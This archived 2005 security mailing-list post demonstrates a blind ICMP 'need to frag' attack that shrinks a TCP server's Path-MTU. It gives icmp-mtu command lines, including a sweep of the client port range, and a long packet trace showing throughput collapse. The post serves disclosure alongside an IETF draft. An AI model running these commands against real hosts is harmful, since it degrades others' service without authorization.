ICMP-based blind performance-degrading attack

• Previous message: Ron: "Wardialing - Odd Results"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

Date: Wed, 20 Jul 2005 09:39:17 -0300
To: security-basics@securityfocus.com

Folks,

Another trivial ICMP-based attack. We'll use the tool icmp-mtu, available
at http://www.gont.com.ar/tools/icmp-attacks

We'll perform the blind performance-degrading attack described in
http://www.gont.com.ar/drafts/icmp-attacks-against-tcp.html as the "Attack
against the Path-MTU Discovery mechanism".

The attack will fool a TCP end-point into thinking it is sending packets
that are larger than the current PMTU. Therefore, that TCP endpoint will
reduce the size of the packets it sends. This has a two-fold effect:
a) The "performance" of the transfer will be lower, as there will be much
more overhead (i.e. the data/headers ratio will be lower).
b) The CPU utilization of the involved systems will increase: The same data
transfer rate will require much more packets (as TCP would be sending
smaller packets). In most systems, every time a packet arrives, it causes
an IRQ (Interrupt ReQuest) to be issued. Thus, increasing the packet rate
will increase the CPU utilization. If the packet rate is not increased,
guess what throughput you can get with 68-byte packets.
:-)

Scenario:
Web-browser (at 10.0.0.1, TCP port 1024) is downloading a big file from a
web-server (at 192.168.0.1, TCP port 80)

For simplicity-sake, let's assume we know the four-tuple that identifies
the connection. (If we don't, that's no problem: we can make icmp-mtu try
all the possible combinations).

Let's perform the attack:

# icmp-mtu -c 10.0.0.1:3028 -s 192.168.0.1:80 -t server -r 56 -m 296

(The client is at 10.0.0.1, TCP port 3028. The server is at 192.168.0.1,
TCP port 80. Let's attack the server. Limit the throughput used for the
attack to 56 kbps. Set the Path-MTU to 296 bytes)
(The lowest value allowed by the specifications is 68. However, some
implementations (such as the one I used for this test) will not honor ICMP
messages that claim MTUs smaller than 296)

Here's the packet trace:

07:33:33.450711 192.168.0.1.80 > 10.0.0.1.3028: . 55381:56801(1420) ack 0
win 17040 (DF) (ttl 64, id 46716)
07:33:33.766220 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 48281
win 9940 (DF) (ttl 117, id 55756)
07:33:33.766241 192.168.0.1.80 > 10.0.0.1.3028: . 56801:58221(1420) ack 0
win 17040 (DF) (ttl 64, id 64806)
07:33:33.770295 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 49701
win 9940 (DF) (ttl 117, id 55758)
07:33:33.770318 192.168.0.1.80 > 10.0.0.1.3028: . 58221:59641(1420) ack 0
win 17040 (DF) (ttl 64, id 37411)
07:33:34.203906 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 51121
win 9940 (DF) (ttl 117, id 55760)
07:33:34.203962 192.168.0.1.80 > 10.0.0.1.3028: . 59641:61061(1420) ack 0
win 17040 (DF) (ttl 64, id 49486)
07:33:34.378908 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 52541
win 9940 (DF) (ttl 117, id 55761)
07:33:34.378933 192.168.0.1.80 > 10.0.0.1.3028: . 61061:62481(1420) ack 0
win 17040 (DF) (ttl 64, id 54369)
07:33:34.429296 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 53961
win 9940 (DF) (ttl 117, id 55762)
07:33:34.429318 192.168.0.1.80 > 10.0.0.1.3028: . 62481:63901(1420) ack 0
win 17040 (DF) (ttl 64, id 38867)
07:33:34.769519 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 55381
win 9940 (DF) (ttl 117, id 55764)
07:33:34.769565 192.168.0.1.80 > 10.0.0.1.3028: . 63901:65321(1420) ack 0
win 17040 (DF) (ttl 64, id 45655)
07:33:35.110200 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 56801
win 9940 (DF) (ttl 117, id 55765)
07:33:35.110259 192.168.0.1.80 > 10.0.0.1.3028: . 65321:66741(1420) ack 0
win 17040 (DF) (ttl 64, id 47463)
07:33:35.113291 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 58221
win 9940 (DF) (ttl 117, id 55766)
07:33:35.113314 192.168.0.1.80 > 10.0.0.1.3028: . 66741:68161(1420) ack 0
win 17040 (DF) (ttl 64, id 52075)
07:33:35.510370 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 59641
win 9940 (DF) (ttl 117, id 55769)
07:33:35.510393 192.168.0.1.80 > 10.0.0.1.3028: . 68161:69581(1420) ack 0
win 17040 (DF) (ttl 64, id 50555)
07:33:35.687634 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 61061
win 9940 (DF) (ttl 117, id 55770)
07:33:35.687656 192.168.0.1.80 > 10.0.0.1.3028: . 69581:71001(1420) ack 0
win 17040 (DF) (ttl 64, id 61555)
07:33:36.009372 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 62481
win 9940 (DF) (ttl 117, id 55771)
07:33:36.009398 192.168.0.1.80 > 10.0.0.1.3028: . 71001:72421(1420) ack 0
win 17040 (DF) (ttl 64, id 34296)
07:33:36.180815 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 63901
win 9940 (DF) (ttl 117, id 55773)
07:33:36.180873 192.168.0.1.80 > 10.0.0.1.3028: . 72421:73841(1420) ack 0
win 17040 (DF) (ttl 64, id 53575)
07:33:36.506718 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 65321
win 9940 (DF) (ttl 117, id 55774)
07:33:36.506743 192.168.0.1.80 > 10.0.0.1.3028: . 73841:75261(1420) ack 0
win 17040 (DF) (ttl 64, id 34721)
07:33:36.510804 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 66741
win 9940 (DF) (ttl 117, id 55775)
07:33:36.510827 192.168.0.1.80 > 10.0.0.1.3028: . 75261:76681(1420) ack 0
win 17040 (DF) (ttl 64, id 34894)
07:33:37.004635 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 68161
win 9940 (DF) (ttl 117, id 55777)
07:33:37.004695 192.168.0.1.80 > 10.0.0.1.3028: . 76681:78101(1420) ack 0
win 17040 (DF) (ttl 64, id 44036)
07:33:37.008756 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 69581
win 9940 (DF) (ttl 117, id 55778)
07:33:37.008779 192.168.0.1.80 > 10.0.0.1.3028: . 78101:79521(1420) ack 0
win 17040 (DF) (ttl 64, id 47291)
07:33:37.213783 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 71001
win 9940 (DF) (ttl 117, id 55779)
07:33:37.213844 192.168.0.1.80 > 10.0.0.1.3028: . 79521:80941(1420) ack 0
win 17040 (DF) (ttl 64, id 37137)

Up to this point, "everything was okay".

07:33:37.222434 10.0.0.1 > 192.168.0.1: icmp: 10.0.0.1 unreachable - need
to frag (mtu 296) (ttl 232, id 5693)

Here's the point in which our tool is run.

 From here, till the end of the transfer, you see the effect of the attack:
each TCP segment carries 256 bytes of data, making for (20-byte IP header +
20-byte TCP header + 256-byte data payload = 296-byte packet).

07:33:37.222472 192.168.0.1.80 > 10.0.0.1.3028: . 71001:71257(256) ack 0
win 17040 (DF) (ttl 64, id 58749)
07:33:37.222578 192.168.0.1.80 > 10.0.0.1.3028: . 71257:71513(256) ack 0
win 17040 (DF) (ttl 64, id 51033)
07:33:37.222845 192.168.0.1.80 > 10.0.0.1.3028: . 71513:71769(256) ack 0
win 17040 (DF) (ttl 64, id 32798)
07:33:37.223118 192.168.0.1.80 > 10.0.0.1.3028: . 71769:72025(256) ack 0
win 17040 (DF) (ttl 64, id 41766)
07:33:37.778893 10.0.0.1 > 192.168.0.1: icmp: 10.0.0.1 unreachable - need
to frag (mtu 296) (ttl 221, id 2124)
07:33:37.778917 192.168.0.1.80 > 10.0.0.1.3028: . 71001:71257(256) ack 0
win 17040 (DF) (ttl 64, id 36548)
07:33:37.779022 192.168.0.1.80 > 10.0.0.1.3028: . 71257:71513(256) ack 0
win 17040 (DF) (ttl 64, id 61732)
07:33:37.779290 192.168.0.1.80 > 10.0.0.1.3028: . 71513:71769(256) ack 0
win 17040 (DF) (ttl 64, id 51438)
07:33:37.779563 192.168.0.1.80 > 10.0.0.1.3028: . 71769:72025(256) ack 0
win 17040 (DF) (ttl 64, id 40154)
07:33:37.804701 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 72421
win 9940 (DF) (ttl 117, id 55782)
07:33:37.804726 192.168.0.1.80 > 10.0.0.1.3028: . 72421:72677(256) ack 0
win 17040 (DF) (ttl 64, id 59091)
07:33:37.804829 192.168.0.1.80 > 10.0.0.1.3028: . 72677:72933(256) ack 0
win 17040 (DF) (ttl 64, id 53746)
07:33:37.805098 192.168.0.1.80 > 10.0.0.1.3028: . 72933:73189(256) ack 0
win 17040 (DF) (ttl 64, id 48719)
07:33:37.805371 192.168.0.1.80 > 10.0.0.1.3028: . 73189:73445(256) ack 0
win 17040 (DF) (ttl 64, id 37796)
07:33:38.000265 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 73841
win 9940 (DF) (ttl 117, id 55783)
07:33:38.000287 192.168.0.1.80 > 10.0.0.1.3028: . 73841:74097(256) ack 0
win 17040 (DF) (ttl 64, id 65040)
07:33:38.000391 192.168.0.1.80 > 10.0.0.1.3028: . 74097:74353(256) ack 0
win 17040 (DF) (ttl 64, id 50520)
07:33:38.000660 192.168.0.1.80 > 10.0.0.1.3028: . 74353:74609(256) ack 0
win 17040 (DF) (ttl 64, id 37744)
07:33:38.000933 192.168.0.1.80 > 10.0.0.1.3028: . 74609:74865(256) ack 0
win 17040 (DF) (ttl 64, id 49194)
07:33:38.001205 192.168.0.1.80 > 10.0.0.1.3028: . 74865:75121(256) ack 0
win 17040 (DF) (ttl 64, id 35292)
07:33:38.001478 192.168.0.1.80 > 10.0.0.1.3028: . 75121:75377(256) ack 0
win 17040 (DF) (ttl 64, id 35405)
07:33:38.001751 192.168.0.1.80 > 10.0.0.1.3028: . 75377:75633(256) ack 0
win 17040 (DF) (ttl 64, id 50111)
07:33:38.002024 192.168.0.1.80 > 10.0.0.1.3028: . 75633:75889(256) ack 0
win 17040 (DF) (ttl 64, id 63637)
07:33:38.002297 192.168.0.1.80 > 10.0.0.1.3028: . 75889:76145(256) ack 0
win 17040 (DF) (ttl 64, id 37723)
07:33:38.099395 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 75261
win 9940 (DF) (ttl 117, id 55784)
07:33:38.099413 192.168.0.1.80 > 10.0.0.1.3028: . 76145:76401(256) ack 0
win 17040 (DF) (ttl 64, id 44236)
07:33:38.099518 192.168.0.1.80 > 10.0.0.1.3028: . 76401:76657(256) ack 0
win 17040 (DF) (ttl 64, id 58026)
07:33:38.099786 192.168.0.1.80 > 10.0.0.1.3028: . 76657:76913(256) ack 0
win 17040 (DF) (ttl 64, id 55844)
07:33:38.100058 192.168.0.1.80 > 10.0.0.1.3028: . 76913:77169(256) ack 0
win 17040 (DF) (ttl 64, id 53944)
07:33:38.295212 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 76681
win 9940 (DF) (ttl 117, id 55786)
07:33:38.295271 192.168.0.1.80 > 10.0.0.1.3028: . 77169:77425(256) ack 0
win 17040 (DF) (ttl 64, id 50067)
07:33:38.295377 192.168.0.1.80 > 10.0.0.1.3028: . 77425:77681(256) ack 0
win 17040 (DF) (ttl 64, id 50320)
07:33:38.295645 192.168.0.1.80 > 10.0.0.1.3028: . 77681:77937(256) ack 0
win 17040 (DF) (ttl 64, id 46302)
07:33:38.295918 192.168.0.1.80 > 10.0.0.1.3028: . 77937:78193(256) ack 0
win 17040 (DF) (ttl 64, id 35011)
07:33:38.296190 192.168.0.1.80 > 10.0.0.1.3028: . 78193:78449(256) ack 0
win 17040 (DF) (ttl 64, id 33938)
07:33:38.296463 192.168.0.1.80 > 10.0.0.1.3028: . 78449:78705(256) ack 0
win 17040 (DF) (ttl 64, id 34572)
07:33:38.296736 192.168.0.1.80 > 10.0.0.1.3028: . 78705:78961(256) ack 0
win 17040 (DF) (ttl 64, id 50867)
07:33:38.297009 192.168.0.1.80 > 10.0.0.1.3028: . 78961:79217(256) ack 0
win 17040 (DF) (ttl 64, id 49460)
07:33:38.297282 192.168.0.1.80 > 10.0.0.1.3028: . 79217:79473(256) ack 0
win 17040 (DF) (ttl 64, id 54046)
07:33:38.297554 192.168.0.1.80 > 10.0.0.1.3028: . [tcp sum ok]
79473:79497(24) ack 0 win 17040 (DF) (ttl 64, id 57102)

If you keep an eye on the data throughput, you'll see it has decreased
considerably. If the server had a high-bandwidth communications link, you'd
notice the increase in the CPU utilization, too.

Let's now say we don't know the client port number. But we know the server
is running Windows, which chooses the "outgoing" port numbers from the
range 1024-4999.

# icmp-mtu -c 10.0.0.1:1024-4999 -s 192.168.0.1:80 -t server -r 56 -D 300
-m 296

So we know specify with the "-c" option a port range for the client
(1024-4999). The "-s" option is the same as before. The "-r" option is the
same as before, too. We have added the "-D" option. It means: "after trying
all the possible combinations, sleep for 300 seconds before doing another
round". The "-m 296" tell icmp-mtu to set the Path-MTU to 296 bytes (if you
don't specify this option, the MTU will be set to the smallest possible
value: 68)

Recall that the IETF specifications recommend to wait for ten minutes
before trying to increase the Path-MTU. So after making the server reduce
the size of its packets, we will sleep for 300 seconds (5 minutes), before
attacking again. Another option could have been to not sleep after each
round, but use some ridiculous (low) bandwidth for the attack.

Hint: Some people have reported "strange behaviour" when some
implementations receive ICMP packets that claim MTUs smaller that 68 (maybe
MTUs = 0). But this is an implementation bug, and I'm more concerned with
IETF-compliant implementations.

P.S.: Attacks explained in the internet-draft available at
http://www.gont.com.ar/drafts/icmp-attacks-against-tcp.html

Kindest regards,

--
Fernando Gont
e-mail: fernando@gont.com.ar || fgont@acm.org

• Previous message: Ron: "Wardialing - Odd Results"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]